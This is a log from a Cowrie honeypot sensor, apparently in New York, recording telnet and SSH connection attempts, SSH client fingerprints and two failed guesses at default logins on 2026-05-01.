{"eventid":"cowrie.session.connect","src_ip":"138.197.5.236","src_port":32964,"dst_ip":"159.203.135.109","dst_port":23,"session":"e5c2034dbe08","protocol":"telnet","message":"New connection: 138.197.5.236:32964 (159.203.135.109:23) [session: e5c2034dbe08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:58.332731Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.198.239","src_port":44490,"dst_ip":"159.203.135.109","dst_port":23,"session":"b8ba25a1f10b","protocol":"telnet","message":"New connection: 167.71.198.239:44490 (159.203.135.109:23) [session: b8ba25a1f10b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:58.446731Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":35198,"dst_ip":"10.17.0.5","dst_port":23,"session":"27ac7190879a","protocol":"telnet","message":"New connection: 85.190.254.94:35198 (10.17.0.5:23) [session: 27ac7190879a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:58.619111Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.198.239","src_port":44800,"dst_ip":"159.203.135.109","dst_port":23,"session":"978c3ba9aba8","protocol":"telnet","message":"New connection: 167.71.198.239:44800 (159.203.135.109:23) [session: 978c3ba9aba8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:58.624458Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":35266,"dst_ip":"10.17.0.5","dst_port":23,"session":"5c957c23a626","protocol":"telnet","message":"New connection: 85.190.254.94:35266 (10.17.0.5:23) [session: 5c957c23a626]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:58.637411Z"}
{"eventid":"cowrie.session.closed","duration":30.44865345954895,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:59.052334Z","src_ip":"85.190.254.94","session":"abef8aa4744e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.594850778579712,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:59.064225Z","src_ip":"85.190.254.94","session":"417b04ca5825","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.96742057800293,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:59.090696Z","src_ip":"85.190.254.94","session":"08be8e64094b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.650691032409668,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:59.110515Z","src_ip":"85.190.254.94","session":"8c8c571066e1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.121092557907104,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:59.347934Z","src_ip":"136.244.67.81","session":"36139429fd36","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.198.239","src_port":44456,"dst_ip":"159.203.135.109","dst_port":23,"session":"b73336589398","protocol":"telnet","message":"New connection: 167.71.198.239:44456 (159.203.135.109:23) [session: b73336589398]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:59.392937Z"}
{"eventid":"cowrie.session.closed","duration":30.769614219665527,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:59.587018Z","src_ip":"85.190.254.94","session":"1b64d7d8377b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":49010,"dst_ip":"159.203.135.109","dst_port":22,"session":"320d32a048fc","protocol":"ssh","message":"New connection: 159.203.92.129:49010 (159.203.135.109:22) [session: 320d32a048fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:59.679171Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:59.685445Z","src_ip":"159.203.92.129","session":"320d32a048fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:59.691434Z","src_ip":"159.203.92.129","session":"320d32a048fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alias","password":"123","message":"login attempt [alias/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:59.706686Z","src_ip":"159.203.92.129","session":"320d32a048fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.5.236","src_port":35512,"dst_ip":"159.203.135.109","dst_port":23,"session":"cc63d4a8a50f","protocol":"telnet","message":"New connection: 138.197.5.236:35512 (159.203.135.109:23) [session: cc63d4a8a50f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:00.119513Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":40456,"dst_ip":"10.17.0.5","dst_port":23,"session":"3721cb2978ac","protocol":"telnet","message":"New connection: 85.190.254.94:40456 (10.17.0.5:23) [session: 3721cb2978ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:00.165839Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.152.33.170","src_port":60850,"dst_ip":"159.203.135.109","dst_port":23,"session":"e341b65446a3","protocol":"telnet","message":"New connection: 107.152.33.170:60850 (159.203.135.109:23) [session: e341b65446a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:00.347379Z"}
{"eventid":"cowrie.session.closed","duration":31.31320357322693,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:00.400045Z","src_ip":"167.71.198.239","session":"c31e9345522b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.198.239","src_port":46970,"dst_ip":"159.203.135.109","dst_port":23,"session":"aa328c68d0ca","protocol":"telnet","message":"New connection: 167.71.198.239:46970 (159.203.135.109:23) [session: aa328c68d0ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:00.686019Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.198.239","src_port":47104,"dst_ip":"159.203.135.109","dst_port":23,"session":"960b62e55530","protocol":"telnet","message":"New connection: 167.71.198.239:47104 (159.203.135.109:23) [session: 960b62e55530]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:00.709735Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:00.717352Z","src_ip":"159.203.92.129","session":"320d32a048fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.5.236","src_port":36292,"dst_ip":"159.203.135.109","dst_port":23,"session":"ed90ae1ebb03","protocol":"telnet","message":"New connection: 138.197.5.236:36292 (159.203.135.109:23) [session: ed90ae1ebb03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:00.791169Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.152.33.170","src_port":60866,"dst_ip":"159.203.135.109","dst_port":23,"session":"287365df1b66","protocol":"telnet","message":"New connection: 107.152.33.170:60866 (159.203.135.109:23) [session: 287365df1b66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:00.926984Z"}
{"eventid":"cowrie.session.closed","duration":30.904165029525757,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:01.054581Z","src_ip":"85.190.254.94","session":"d7e74eeab6a3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.225663661956787,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:01.068403Z","src_ip":"85.190.254.94","session":"6ccb9296aef7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.64664602279663,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:01.093353Z","src_ip":"85.190.254.94","session":"49827933cad8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.361321210861206,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:01.211227Z","src_ip":"167.71.198.239","session":"89c09537306f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.668094396591187,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:01.327691Z","src_ip":"167.71.198.239","session":"03097818495e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":44110,"dst_ip":"10.17.0.5","dst_port":23,"session":"72993630f792","protocol":"telnet","message":"New connection: 85.190.254.94:44110 (10.17.0.5:23) [session: 72993630f792]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:01.368885Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":45362,"dst_ip":"10.17.0.5","dst_port":23,"session":"18f44545428b","protocol":"telnet","message":"New connection: 85.190.254.94:45362 (10.17.0.5:23) [session: 18f44545428b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:01.774710Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":46596,"dst_ip":"10.17.0.5","dst_port":23,"session":"d4a34c54f3e6","protocol":"telnet","message":"New connection: 85.190.254.94:46596 (10.17.0.5:23) [session: d4a34c54f3e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:02.154633Z"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.5.236","src_port":37716,"dst_ip":"159.203.135.109","dst_port":23,"session":"c84a2ecc7fbb","protocol":"telnet","message":"New connection: 138.197.5.236:37716 (159.203.135.109:23) [session: c84a2ecc7fbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:02.230276Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":46972,"dst_ip":"10.17.0.5","dst_port":23,"session":"5637eced9bbc","protocol":"telnet","message":"New connection: 85.190.254.94:46972 (10.17.0.5:23) [session: 5637eced9bbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:02.261119Z"}
{"eventid":"cowrie.session.connect","src_ip":"136.244.67.81","src_port":60352,"dst_ip":"159.203.135.109","dst_port":23,"session":"de2d04929d13","protocol":"telnet","message":"New connection: 136.244.67.81:60352 (159.203.135.109:23) [session: de2d04929d13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:02.591903Z"}
{"eventid":"cowrie.session.closed","duration":31.275574207305908,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:02.684056Z","src_ip":"136.244.67.81","session":"3483be4356f8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":48770,"dst_ip":"10.17.0.5","dst_port":23,"session":"68ce016ba265","protocol":"telnet","message":"New connection: 85.190.254.94:48770 (10.17.0.5:23) [session: 68ce016ba265]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:02.720602Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.198.239","src_port":49714,"dst_ip":"159.203.135.109","dst_port":23,"session":"817618d4460f","protocol":"telnet","message":"New connection: 167.71.198.239:49714 (159.203.135.109:23) [session: 817618d4460f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:02.736644Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.198.239","src_port":49790,"dst_ip":"159.203.135.109","dst_port":23,"session":"b571910984c4","protocol":"telnet","message":"New connection: 167.71.198.239:49790 (159.203.135.109:23) [session: b571910984c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:02.804985Z"}
{"eventid":"cowrie.session.closed","duration":30.089082956314087,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:03.037917Z","src_ip":"136.244.67.81","session":"ea85ae7cf9b2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.400500059127808,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:03.561148Z","src_ip":"85.190.254.94","session":"fbacf582a090","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.668901681900024,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:04.055998Z","src_ip":"85.190.254.94","session":"7be414a6bc4b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.58579182624817,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:04.061791Z","src_ip":"85.190.254.94","session":"2c922634bc30","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.5.236","src_port":39832,"dst_ip":"159.203.135.109","dst_port":23,"session":"c7a75239a96c","protocol":"telnet","message":"New connection: 138.197.5.236:39832 (159.203.135.109:23) [session: c7a75239a96c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:04.133517Z"}
{"eventid":"cowrie.session.closed","duration":30.939308166503906,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:04.299894Z","src_ip":"136.244.67.81","session":"af85f72a8745","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.198.239","src_port":52108,"dst_ip":"159.203.135.109","dst_port":23,"session":"9f79496df512","protocol":"telnet","message":"New connection: 167.71.198.239:52108 (159.203.135.109:23) [session: 9f79496df512]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:04.496313Z"}
{"eventid":"cowrie.session.closed","duration":35.02735733985901,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:04.678474Z","src_ip":"167.71.198.239","session":"f2b8bb5c52b4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":55904,"dst_ip":"10.17.0.5","dst_port":23,"session":"7cc4f37b9ef8","protocol":"telnet","message":"New connection: 85.190.254.94:55904 (10.17.0.5:23) [session: 7cc4f37b9ef8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:04.777356Z"}
{"eventid":"cowrie.session.closed","duration":30.24873948097229,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:05.059006Z","src_ip":"85.190.254.94","session":"a14b63ef343a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.20625138282776,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:05.099666Z","src_ip":"85.190.254.94","session":"731eea905b80","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.396981716156006,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:05.127411Z","src_ip":"85.190.254.94","session":"212be92202df","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.109037160873413,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:05.195982Z","src_ip":"85.190.254.94","session":"47b1dcc84545","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.161320209503174,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:05.310882Z","src_ip":"138.197.5.236","session":"d993784446b7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.878560543060303,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:05.583091Z","src_ip":"138.197.5.236","session":"47b88e5e4658","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.76425838470459,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:05.924925Z","src_ip":"107.152.33.170","session":"cf2e6df72407","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.143.209","src_port":57286,"dst_ip":"10.17.0.5","dst_port":22,"session":"e7a2784b1aba","protocol":"ssh","message":"New connection: 171.244.143.209:57286 (10.17.0.5:22) [session: e7a2784b1aba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:06.051745Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:06.058443Z","src_ip":"171.244.143.209","session":"e7a2784b1aba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.98861813545227,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:06.070679Z","src_ip":"85.190.254.94","session":"560cd89e9305","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.152.33.170","src_port":36520,"dst_ip":"159.203.135.109","dst_port":23,"session":"c25ac80efc99","protocol":"telnet","message":"New connection: 107.152.33.170:36520 (159.203.135.109:23) [session: c25ac80efc99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:06.223501Z"}
{"eventid":"cowrie.session.closed","duration":31.345442056655884,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:06.276230Z","src_ip":"167.71.198.239","session":"a9254d3c1502","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.92450714111328,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:06.288195Z","src_ip":"167.71.198.239","session":"3a661f6e8b98","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:06.322127Z","src_ip":"171.244.143.209","session":"e7a2784b1aba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.10564684867859,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:07.051286Z","src_ip":"85.190.254.94","session":"65d13cc0dbe4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.80255436897278,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:07.071268Z","src_ip":"136.244.67.81","session":"ea842a4010a7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.727969646453857,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:07.076706Z","src_ip":"85.190.254.94","session":"cef25308ade1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":35506,"dst_ip":"10.17.0.5","dst_port":23,"session":"67f1f736825c","protocol":"telnet","message":"New connection: 85.190.254.94:35506 (10.17.0.5:23) [session: 67f1f736825c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:07.117784Z"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"admin123","message":"login attempt [mysql/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:07.368694Z","src_ip":"171.244.143.209","session":"e7a2784b1aba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":36618,"dst_ip":"10.17.0.5","dst_port":23,"session":"2548b604c35b","protocol":"telnet","message":"New connection: 85.190.254.94:36618 (10.17.0.5:23) [session: 2548b604c35b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:07.461993Z"}
{"eventid":"cowrie.session.closed","duration":31.889739990234375,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:08.044421Z","src_ip":"85.190.254.94","session":"587c8e25af17","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.152.33.170","src_port":36534,"dst_ip":"159.203.135.109","dst_port":23,"session":"72216b4bbe02","protocol":"telnet","message":"New connection: 107.152.33.170:36534 (159.203.135.109:23) [session: 72216b4bbe02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:04:08.124091Z"}
